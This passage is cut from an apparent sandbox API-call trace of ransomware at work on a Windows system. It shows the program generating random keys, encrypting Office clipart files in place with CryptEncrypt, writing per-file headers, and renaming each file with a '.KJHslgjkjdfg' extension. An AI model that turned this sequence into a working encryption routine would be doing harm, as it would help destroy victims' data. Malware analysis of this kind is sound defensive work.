lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.939] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.939] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.939] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.939] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b8, lpOverlapped=0x0) returned 1 [0195.939] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c0) returned 1 [0195.939] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.939] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c0, lpOverlapped=0x0) returned 1 [0195.939] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.940] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.940] SetEndOfFile (hFile=0x130) returned 1 [0195.942] GetProcessHeap () returned 0x990000 [0195.942] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.942] GetProcessHeap () returned 0x990000 [0195.942] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.kjhslgjkjdfg")) returned 1 [0195.944] CloseHandle (hObject=0x130) returned 1 [0195.945] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0195.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.945] GetProcessHeap () returned 0x990000 [0195.945] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.945] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.946] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.948] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.948] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.948] GetProcessHeap () returned 0x990000 [0195.948] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.948] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.948] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.948] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.948] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.948] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.949] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.949] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.949] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x674, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x674, lpOverlapped=0x0) returned 1 [0195.949] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x680, dwBufLen=0x680 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x680) returned 1 [0195.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.949] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x680, lpOverlapped=0x0) returned 1 [0195.949] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.949] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.949] SetEndOfFile (hFile=0x130) returned 1 [0195.952] GetProcessHeap () returned 0x990000 [0195.952] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.952] GetProcessHeap () returned 0x990000 [0195.952] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.kjhslgjkjdfg")) returned 1 [0195.954] CloseHandle (hObject=0x130) returned 1 [0195.954] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0195.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.955] GetProcessHeap () returned 0x990000 [0195.955] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.955] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.955] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.955] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.957] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.957] GetProcessHeap () returned 0x990000 [0195.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.957] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.958] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.958] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.958] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.958] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.958] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.958] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.958] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.958] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.958] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x132c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x132c, lpOverlapped=0x0) returned 1 [0195.959] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1330, dwBufLen=0x1330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1330) returned 1 [0195.959] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.959] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1330, lpOverlapped=0x0) returned 1 [0195.960] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.960] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.960] SetEndOfFile (hFile=0x130) returned 1 [0195.962] GetProcessHeap () returned 0x990000 [0195.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.962] GetProcessHeap () returned 0x990000 [0195.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.kjhslgjkjdfg")) returned 1 [0195.964] CloseHandle (hObject=0x130) returned 1 [0195.964] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0195.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.965] GetProcessHeap () returned 0x990000 [0195.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.965] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.965] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.965] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0195.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.968] GetProcessHeap () returned 0x990000 [0195.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.968] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.968] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.968] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.968] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.968] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.968] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.968] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.969] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11e4, lpOverlapped=0x0) returned 1 [0195.970] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11f0, dwBufLen=0x11f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11f0) returned 1 [0195.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.970] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11f0, lpOverlapped=0x0) returned 1 [0195.970] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.970] SetEndOfFile (hFile=0x130) returned 1 [0195.973] GetProcessHeap () returned 0x990000 [0195.973] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0195.973] GetProcessHeap () returned 0x990000 [0195.973] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0195.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.kjhslgjkjdfg")) returned 1 [0195.974] CloseHandle (hObject=0x130) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0195.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.976] GetProcessHeap () returned 0x990000 [0195.976] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0195.976] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0195.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0195.976] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.980] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.980] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.980] GetProcessHeap () returned 0x990000 [0195.980] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0195.980] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0195.980] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.980] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0195.980] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0195.980] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0195.980] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0195.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0195.981] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0195.981] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0195.981] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0195.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.981] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b6c, lpOverlapped=0x0) returned 1 [0195.982] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b70, dwBufLen=0x1b70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b70) returned 1 [0195.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.982] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b70, lpOverlapped=0x0) returned 1 [0195.982] CryptDestroyKey (hKey=0x9b6628) returned 1 [0195.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c44, 